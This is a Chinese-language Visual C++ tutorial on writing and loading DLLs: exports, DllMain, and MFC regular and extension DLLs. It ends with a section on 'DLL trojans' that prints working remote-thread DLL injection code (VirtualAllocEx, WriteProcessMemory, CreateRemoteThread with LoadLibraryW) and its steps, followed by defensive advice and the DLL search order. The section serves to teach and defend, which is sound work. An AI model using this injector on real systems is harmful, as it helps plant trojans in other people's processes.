Visual C++支持三种DLL,它们分别是Non-MFC DLL(非MFC动态库)、MFC Regular DLL(MFC规则DLL)、MFC Extension DLL(MFC扩展DLL)。

 

 

Non-mfc dll

 

//文件:lib.h

#ifndef LIB_H
#define LIB_H
extern "C" int add(int x,int y);   //声明为C编译、连接方式的外部函数
#endif

//文件:lib.cpp

#include "lib.h"
int add(int x,int y)
{
 return x + y;
}

 

静态调用:

#include <stdio.h>
#include "../lib.h"
#pragma comment( lib, "..//debug//libTest.lib" )  //指定与静态库一起连接

int main(int argc, char* argv[])
{
 printf( "2 + 3 = %d", add( 2, 3 ) );
}

 

代码中#pragma comment( lib , "..//debug//libTest.lib" )的意思是指本文件生成的.obj文件应与libTest.lib一起连接。

或在Project 菜单里选择Settings 然后再Link 选项卡上的 Object/Library Modules 输入lib 路径。

 

 

 

 

 

 

动态调用:

 

 

#include <stdio.h>
#include <windows.h>

typedef int(*lpAddFun)(int, int); //宏定义函数指针类型
int main(int argc, char *argv[])
{
 HINSTANCE hDll; //DLL句柄
 lpAddFun addFun; //函数指针
 hDll = LoadLibrary("..//Debug//dllTest.dll");
 if (hDll != NULL)
 {
  addFun = (lpAddFun)GetProcAddress(hDll, "add");
  if (addFun != NULL)
  {
   int result = addFun(2, 3);
   printf("%d", result);
  }
  FreeLibrary(hDll);
 }
 return 0;
}

 

声明导出函数:

 


  DLL中导出函数的声明有两种方式:

一种为在函数声明中加上__declspec(dllexport);

另外一种方式是采用模块定义(.def) 文件声明,.def文件为链接器提供了有关被链接程序的导出、属性及其他方面的信息。

  下面的代码演示了怎样同.def文件将函数add声明为DLL导出函数(需在工程中添加lib.def文件):

; lib.def : 导出DLL函数

LIBRARY dllTest

EXPORTS

add @ 1


  .def文件的规则为:

  (1)LIBRARY语句说明.def文件相应的DLL;

  (2)EXPORTS语句后列出要导出函数的名称。可以在.def文件中的导出函数名后加@n,表示要导出函数的序号为n(在进行函数调用时,这个序号将发挥其作用);

  (3).def 文件中的注释由每个注释行开始处的分号 (;) 指定,且注释不能与语句共享一行。

  由此可以看出,例子中lib.def文件的含义为生成名为“dllTest”的动态链接库,导出其中的add函数,并指定add函数的序号为1。

 

DllMain函数:

 Windows在加载DLL的时候,需要一个入口函数,就如同控制台或DOS程序需要main函数、WIN32程序需要WinMain函数一样。在前面的例子中,DLL并没有提供DllMain函数,应用工程也能成功引用DLL,这是因为Windows在找不到DllMain的时候,系统会从其它运行库中引入一个不做任何操作的缺省DllMain函数版本,并不意味着DLL可以放弃DllMain函数。

 

 

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
 switch (ul_reason_for_call)
 {
  case DLL_PROCESS_ATTACH:
   printf("/nprocess attach of dll");
   break;
  case DLL_THREAD_ATTACH:
   printf("/nthread attach of dll");
   break;
  case DLL_THREAD_DETACH:
   printf("/nthread detach of dll");
   break;
  case DLL_PROCESS_DETACH:
   printf("/nprocess detach of dll");
   break;
 }
 return TRUE;
}

 

 

 

APIENTRY被定义为__stdcall,它意味着这个函数以标准Pascal的方式进行调用,也就是WINAPI方式;

 

 

进程中的每个DLL模块被全局唯一的32字节的HINSTANCE句柄标识,只有在特定的进程内部有效,句柄代表了DLL模块在进程虚拟空间中的起始地址。在Win32中,HINSTANCE和HMODULE的值是相同的,这两种类型可以替换使用,这就是函数参数hModule的来历。

 

执行下列代码:

hDll = LoadLibrary("..//Debug//dllTest.dll");
if (hDll != NULL)
{
 addFun = (lpAddFun)GetProcAddress(hDll, MAKEINTRESOURCE(1));
 //MAKEINTRESOURCE直接使用导出文件中的序号
 if (addFun != NULL)
 {
  int result = addFun(2, 3);
  printf("/ncall add in dll:%d", result);
 }
 FreeLibrary(hDll);
}

 

 

扩展DLL 和正规DLL

 

扩展DLL 支持C++接口,可以导出整个C++类,客户可以构造这些类的对象或从这些类进行派生。扩展DLL动态链接到MFC库。

正规DLL 支持WIN32编程环境,但不能导出c++类,但可以在DLL内部使用C++类。正规DLL可以分动态,静态两种连接到MFC库。

 

一个简单的MFC规则DLL

 

 

         HELLO

CANCEL          OK

 

 

第一组文件:CWinApp继承类的声明与实现:

 

// RegularDll.h : main header file for the REGULARDLL DLL

#if !defined(AFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_)
#define AFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#ifndef __AFXWIN_H__
#error include ’stdafx.h’ before including this file for PCH
#endif
#include "resource.h" // main symbols

class CRegularDllApp : public CWinApp
{
 public:
  CRegularDllApp();
  DECLARE_MESSAGE_MAP()
};

#endif

// RegularDll.cpp : Defines the initialization routines for the DLL.

#include "stdafx.h"
#include "RegularDll.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

BEGIN_MESSAGE_MAP(CRegularDllApp, CWinApp)
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////

// CRegularDllApp construction

CRegularDllApp::CRegularDllApp()
{
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CRegularDllApp object

CRegularDllApp theApp;

 

 

第二组文件 自定义对话框类声明及实现:

 

#if !defined(AFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_)
#define AFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// DllDialog.h : header file
/////////////////////////////////////////////////////////////////////////////
// CDllDialog dialog

class CDllDialog : public CDialog
{
 // Construction
 public:
  CDllDialog(CWnd* pParent = NULL); // standard constructor
  enum { IDD = IDD_DLL_DIALOG };
 protected:
  virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
  // Implementation
 protected:
  afx_msg void OnHelloButton();
  DECLARE_MESSAGE_MAP()
};
#endif

// DllDialog.cpp : implementation file

#include "stdafx.h"
#include "RegularDll.h"
#include "DllDialog.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CDllDialog dialog

CDllDialog::CDllDialog(CWnd* pParent /*=NULL*/)
: CDialog(CDllDialog::IDD, pParent)
{}

void CDllDialog::DoDataExchange(CDataExchange* pDX)
{
 CDialog::DoDataExchange(pDX);
}

BEGIN_MESSAGE_MAP(CDllDialog, CDialog)
 ON_BN_CLICKED(IDC_HELLO_BUTTON, OnHelloButton)
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CDllDialog message handlers

void CDllDialog::OnHelloButton()
{
 MessageBox("Hello,pconline的网友","pconline");
}

 

第三组文件 DLL中的资源文件:

//{{NO_DEPENDENCIES}}

// Microsoft Developer Studio generated include file.

// Used by RegularDll.rc

//

#define IDD_DLL_DIALOG 1000

#define IDC_HELLO_BUTTON 1000

 

 

第四组文件 MFC规则DLL接口函数

 

 

#include "StdAfx.h"
#include "DllDialog.h"

extern "C" __declspec(dllexport) void ShowDlg(void)
{
 CDllDialog dllDialog;
 dllDialog.DoModal();
}

 

 

MFC规则DLL的调用:

 

void CRegularDllCallDlg::OnCalldllButton()
{
 typedef void (*lpFun)(void);
 HINSTANCE hDll; //DLL句柄
 hDll = LoadLibrary("RegularDll.dll");
 if (NULL==hDll)
 {
  MessageBox("DLL加载失败");
 }

 lpFun addFun; //函数指针
 lpFun pShowDlg = (lpFun)GetProcAddress(hDll,"ShowDlg");
 if (NULL==pShowDlg)
 {
  MessageBox("DLL中函数寻找失败");
 }
 pShowDlg();
}

 

我们照样可以在EXE程序中隐式调用MFC规则DLL,只需要将DLL工程生成的.lib文件和.dll文件拷入当前工程所在的目录,并在RegularDllCallDlg.cpp文件的顶部添加:

#pragma comment(lib,"RegularDll.lib")
void ShowDlg(void);


  并将void CRegularDllCallDlg::OnCalldllButton() 改为:

void CRegularDllCallDlg::OnCalldllButton()
{
 ShowDlg();
}

 

 

共享MFC DLL(或MFC扩展DLL)的规则DLL涉及到HINSTANCE句柄问题,HINSTANCE句柄对于加载资源特别重要。EXE和DLL都有其自己的资源,而且这些资源的ID可能重复,应用程序需要通过资源模块的切换来找到正确的资源。如果应用程序需要来自于DLL的资源,就应将资源模块句柄指定为DLL的模块句柄;如果需要EXE文件中包含的资源,就应将资源模块句柄指定为EXE的模块句柄。

 

解决方法

 

方法一 在DLL接口函数中使用:

AFX_MANAGE_STATE(AfxGetStaticModuleState());

 

方法二 在DLL接口函数中使用:

 

AfxGetResourceHandle();

AfxSetResourceHandle(HINSTANCE xxx);

 

void ShowDlg(void)
{
 //方法2的状态变更
 HINSTANCE save_hInstance = AfxGetResourceHandle();
 AfxSetResourceHandle(theApp.m_hInstance);
 CDialog dlg(IDD_DLL_DIALOG);//打开ID为2000的对话框
 dlg.DoModal();

 //方法2的状态还原
 AfxSetResourceHandle(save_hInstance);
}

 

 方法三 由应用程序自身切换:
现在我们把DLL中的接口函数改为最简单的:

void ShowDlg(void)
{
 CDialog dlg(IDD_DLL_DIALOG); //打开ID为2000的对话框
 dlg.DoModal();
}


  而将应用程序的OnCalldllButton函数改为:

void CSharedDllCallDlg::OnCalldllButton()
{
 //方法3:由应用程序本身进行状态切换
 //获取EXE模块句柄

 HINSTANCE exe_hInstance = GetModuleHandle(NULL);

 //或者HINSTANCE exe_hInstance = AfxGetResourceHandle();
 //获取DLL模块句柄

 HINSTANCE dll_hInstance = GetModuleHandle("SharedDll.dll");
 AfxSetResourceHandle(dll_hInstance); //切换状态
 ShowDlg(); //此时显示的是DLL的对话框
 AfxSetResourceHandle(exe_hInstance); //恢复状态

 //资源模块恢复后再调用ShowDlg
 ShowDlg(); //此时显示的是EXE的对话框
}

 

 

扩展DLL

MFC扩展DLL与MFC规则DLL的相同点在于在两种DLL的内部都可以使用MFC类库,其不同点在于MFC扩展DLL与应用程序的接口可以是MFC的。MFC扩展DLL的含义在于它是MFC的扩展,其主要功能是实现从现有MFC库类中派生出可重用的类。MFC扩展DLL使用MFC 动态链接库版本,因此只有用共享MFC 版本生成的MFC 可执行文件(应用程序或规则DLL)才能使用MFC扩展DLL。

 从下表我们可以看出三种DLL对DllMain入口函数的不同处理方式:

DLL类型

入口函数

非 MFC DLL

编程者提供DllMain函数

MFC规则 DLL

CWinApp对象的InitInstance 和 ExitInstance

MFC扩展 DLL

MFC DLL向导生成DllMain 函数

于MFC扩展DLL,系统会自动在工程中添加如下表所示的宏,这些宏为DLL和应用程序的编写提供了方便

 

 

定义

AFX_CLASS_IMPORT

__declspec(dllexport)

AFX_API_IMPORT

__declspec(dllexport)

AFX_DATA_IMPORT

__declspec(dllexport)

AFX_CLASS_EXPORT

__declspec(dllexport)

AFX_API_EXPORT

__declspec(dllexport)

AFX_DATA_EXPORT

__declspec(dllexport)

AFX_EXT_CLASS

#ifdef _AFXEXT
 AFX_CLASS_EXPORT
#else
 AFX_CLASS_IMPORT

AFX_EXT_API

#ifdef _AFXEXT
 AFX_API_EXPORT
#else
 AFX_API_IMPORT

AFX_EXT_DATA

#ifdef _AFXEXT
 AFX_DATA_EXPORT
#else
 AFX_DATA_IMPORT

 

 

MFC扩展DLL导出MFC派生类;

 

 

static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };
extern "C" int APIENTRY

DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
{
 // Remove this if you use lpReserved

 UNREFERENCED_PARAMETER( lpReserved );

 //说明:lpReserved是一个被系统所保留的参数,对于隐式链接是一个非零值,对于显式链接值是零

 if (dwReason == DLL_PROCESS_ATTACH)
 {
  TRACE0( "EXTDLL.DLL Initializing!/n" );
  // Extension DLL one-time initialization
  if ( !AfxInitExtensionModule( ExtDllDLL, hInstance ))
   return 0;
   // Insert this DLL into the resource chain
  new CDynLinkLibrary( ExtDllDLL );
 }
 else if (dwReason == DLL_PROCESS_DETACH)
 {
  TRACE0( "EXTDLL.DLL Terminating!/n" );
  // Terminate the library before destructors are called
  AfxTermExtensionModule( ExtDllDLL );
 }
 return 1; // ok
}

 

 


  (1)上述代码完成MFC扩展DLL的初始化和终止处理;

  (2)初始化期间所创建的 CDynLinkLibrary 对象使MFC扩展 DLL 可以将 DLL中的CRuntimeClass 对象或资源导出到应用程序;

  (3)AfxInitExtensionModule函数捕获模块的CRuntimeClass 结构和在创建 CDynLinkLibrary 对象时使用的对象工厂(COleObjectFactory 对象);

  (4)AfxTermExtensionModule函数使 MFC 得以在每个进程与扩展 DLL 分离时(进程退出或使用AfxFreeLibrary卸载DLL时)清除扩展 DLL;

  (5)第一条语句static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };定义了一个AFX_EXTENSION_MODULE类的静态全局对象,AFX_EXTENSION_MODULE的定义如下:

struct AFX_EXTENSION_MODULE
{
 BOOL bInitialized;
 HMODULE hModule;
 HMODULE hResource;
 CRuntimeClass* pFirstSharedClass;
 COleObjectFactory* pFirstSharedFactory;
};


  由AFX_EXTENSION_MODULE的定义我们可以更好的理解(2)、(3)、(4)点。

 

 在资源编辑器中添加一个如图15所示的对话框,并使用MFC类向导为其添加一个对应的类CExtDialog,系统自动添加了ExtDialog.h和ExtDialog.cpp两个头文件。

 

修改ExtDialog.h中CExtDialog类的声明为:

class AFX_EXT_CLASS CExtDialog : public CDialog
{
 public:
  CExtDialog( CWnd* pParent = NULL );
  enum { IDD = IDD_DLL_DIALOG };
 protected:
  virtual void DoDataExchange( CDataExchange* pDX );
  DECLARE_MESSAGE_MAP()
};


  这其中最主要的改变是我们在class AFX_EXT_CLASS CExtDialog语句中添加了“AFX_EXT_CLASS”宏,则使得DLL中的CExtDialog类被导出。

 

隐式加载

 

我们在6.2工程所在的工作区中添加一个LoadExtDllDlg工程,用于演示MFC扩展DLL的加载。在LoadExtDllDlg工程中添加一个如图16所示的对话框,这个对话框上包括一个“调用DLL”按钮。

 

 

// LoadExtDllDlg.cpp : implementation file
//

#include "../ExtDialog.h"
#pragma comment( lib, "ExtDll.lib" )

而“调用DLL”按钮的单击事件的消息处理函数为:

void CLoadExtDllDlg::OnDllcallButton()
{
 CExtDialog extDialog;
 extDialog.DoModal();
}


  当我们单击“调用DLL”的时候,弹出了如图15的对话框。

  为提供给用户隐式加载(MFC扩展DLL一般使用隐式加载,具体原因见下节),MFC扩展DLL需要提供三个文件:

  (1)描述DLL中扩展类的头文件;

  (2)与动态链接库对应的.LIB文件;

  (3)动态链接库.DLL文件本身。

  有了这三个文件,应用程序的开发者才可充分利用MFC扩展DLL。

 

显示加载

 

 显示加载MFC扩展DLL应使用MFC全局函数AfxLoadLibrary而不是WIN32 API中的LoadLibrary。AfxLoadLibrary 最终也调用了 LoadLibrary这个API,但是在调用之前进行了线程同步的处理。

  AfxLoadLibrary 的函数原型与 LoadLibrary完全相同,为:

HINSTANCE AFXAPI AfxLoadLibrary( LPCTSTR lpszModuleName );


  与之相对应的是,MFC 应用程序应使用AfxFreeLibrary 而非FreeLibrary 卸载MFC扩展DLL。AfxFreeLibrary的函数原型也与 FreeLibrary完全相同,为:

BOOL AFXAPI AfxFreeLibrary( HINSTANCE hInstLib );


  如果我们把上例中的“调用DLL”按钮单击事件的消息处理函数改为:

void CLoadExtDllDlg::OnDllcallButton()
{
 HINSTANCE hDll = AfxLoadLibrary( "ExtDll.dll" );
 if(NULL == hDll)
 {
  AfxMessageBox( "MFC扩展DLL动态加载失败" );
  return;
 }

 CExtDialog extDialog;
 extDialog.DoModal();
 AfxFreeLibrary(hDll);
}


  则工程会出现link错误:

LoadExtDllDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: virtual __thiscall CExtDialog::~CExtDialog(void)" (__imp_??1CExtDialog@@UAE@XZ)

LoadExtDllDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: __thiscall CExtDialog::CExtDialog(class CWnd *)" (__imp_??0CExtDialog@@QAE@PAVCWnd@@@Z)


  提示CExtDialog的构造函数和析构函数均无法找到!是的,对于派生MFC类的MFC扩展DLL,当我们要在应用程序中使用DLL中定义的派生类时,我们不宜使用动态加载DLL的方法。

 

6.4 MFC扩展DLL加载MFC扩展DLL

  我们可以在MFC扩展DLL中再次使用MFC扩展DLL,但是,由于在两个DLL中对于AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA宏的定义都是输出,这会导致调用的时候出现问题。

  我们将会在调用MFC扩展DLL的DLL中看到link错误:

error LNK2001: unresolved external symbol ….......


  因此,在调用MFC扩展DLL的MFC扩展DLL中,在包含被调用DLL的头文件之前,需要临时重新定义AFX_EXT_CLASS的值。下面的例子显示了如何实现:

//临时改变宏的含义“输出”为“输入”

#undef AFX_EXT_CLASS
#undef AFX_EXT_API
#undef AFX_EXT_DATA
#define AFX_EXT_CLASS AFX_CLASS_IMPORT
#define AFX_EXT_API AFX_API_IMPORT
#define AFX_EXT_DATA AFX_DATA_IMPORT

//包含被调用MFC扩展DLL的头文件

#include "CalledDLL.h"

//恢复宏的含义为输出

#undef AFX_EXT_CLASS
#undef AFX_EXT_API
#undef AFX_EXT_DATA
#define AFX_EXT_CLASS AFX_CLASS_EXPORT
#define AFX_EXT_API AFX_API_EXPORT
#define AFX_EXT_DATA AFX_DATA_EXPORT


MFC扩展DLL导出函数和变量:

 

MFC扩展DLL导出函数和变量的方法也十分简单,下面我们给出一个简单的例子。

  我们在MFC向导生成的MFC扩展DLL工程中添加gobal.h和global.cpp两个文件:

//global.h:MFC扩展DLL导出变量和函数的声明

extern "C"
{
 int AFX_EXT_DATA total; //导出变量
 int AFX_EXT_API add( int x, int y ); //导出函数
}

//global.cpp:MFC扩展DLL导出变量和函数定义

#include "StdAfx.h"
#include "global.h"

extern "C" int total;
int add(int x,int y)
{
 total = x + y;
 return total;
}


  编写一个简单的控制台程序来调用这个MFC扩展DLL:

#include <iostream.h>
#include <afxver_.h>

//AFX_EXT_DATA、AFX_EXT_API宏的定义在afxver_.h头文件中

#pragma comment ( lib, "ExtDll.lib" )
#include "../global.h"

int main(int argc, char* argv[])
{
 cout << add(2,3) << endl;
 cout << total;
 return 0;
}

 

动态链接库编程之DLL木马

HANDLE CreateRemoteThread(
 HANDLE hProcess, //远程进程句柄
 LPSECURITY_ATTRIBUTES lpThreadAttributes,
 SIZE_T dwStackSize,
 LPTHREAD_START_ROUTINE lpStartAddress,
 LPVOID lpParameter,
 DWORD dwCreationFlags,
 LPDWORD lpThreadId
);

 

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

void CheckError ( int, int, char *); //出错处理函数

PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;

void main(int argc,char **argv)
{
 int iReturnCode;
 char lpDllFullPathName[MAX_PATH];
 WCHAR pszLibFileName[MAX_PATH]={0};

 dwRemoteProcessId = 4000;
 strcpy(lpDllFullPathName, "d://troydll.dll");
 //将DLL文件全路径的ANSI码转换成UNICODE码
 iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
  lpDllFullPathName, strlen(lpDllFullPathName),
  pszLibFileName, MAX_PATH);
 CheckError(iReturnCode, 0, "MultByteToWideChar");
 //打开远程进程
 hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
  PROCESS_VM_OPERATION | //允许VM操作
  PROCESS_VM_WRITE, //允许VM写
  FALSE, dwRemoteProcessId );
 CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");
 //计算DLL路径名需要的内存空间
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
 CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
 //将DLL的路径名复制到远程进程的内存空间
 iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
 CheckError(iReturnCode, false, "WriteProcessMemory");
 //计算LoadLibraryW的入口地址
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
   GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
 CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
 //启动远程线程,通过远程线程调用用户的DLL文件
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
 CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
 //等待远程线程退出
 WaitForSingleObject(hRemoteThread, INFINITE);
 //清场处理
 if (pszLibFileRemote != NULL)
 {
  VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
 }
 if (hRemoteThread != NULL)
 {
  CloseHandle(hRemoteThread );
 }
 if (hRemoteProcess!= NULL)
 {
  CloseHandle(hRemoteProcess);
 }
}

//错误处理函数CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
 if(iReturnCode==iErrorCode)
 {
  printf("%s Error:%d/n/n", pErrorMsg, GetLastError());
  //清场处理
  if (pszLibFileRemote != NULL)
  {
   VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
  }
  if (hRemoteThread != NULL)
  {
   CloseHandle(hRemoteThread );
  }
  if (hRemoteProcess!= NULL)
  {
   CloseHandle(hRemoteProcess);
  }
  exit(0);
 }
}

 从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:

  (1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;

  (2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;

  (3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:

  a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;

  b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;

  c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。

  (4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;

  (5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;

  (6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;

  (7)清理现场。

  DLL木马的防治

  从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式,这可以帮助我们更好地理解DLL木马病毒的防治手段。

  一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。

  对于DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL,如果其中有一些莫名其妙的DLL,则可以断言这个进程是宿主进程,系统被植入了DLL木马。"道高一尺,魔高一丈",现如今,DLL木马也发展到了更高的境界,它们看起来也不再"莫名其妙"。在最新的一些木马里面,开始采用了先进的DLL陷阱技术,编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL;对于一些事先约定好的特殊情况,DLL会执行一些相应的操作。

 

 

  Windows按下列顺序搜索DLL:

  (1)当前进程的可执行模块所在的目录;

  (2)当前目录;

  (3)Windows 系统目录,通过GetSystemDirectory 函数可获得此目录的路径;

  (4)Windows 目录,通过GetWindowsDirectory 函数可获得此目录的路径;

  (5)PATH 环境变量中列出的目录。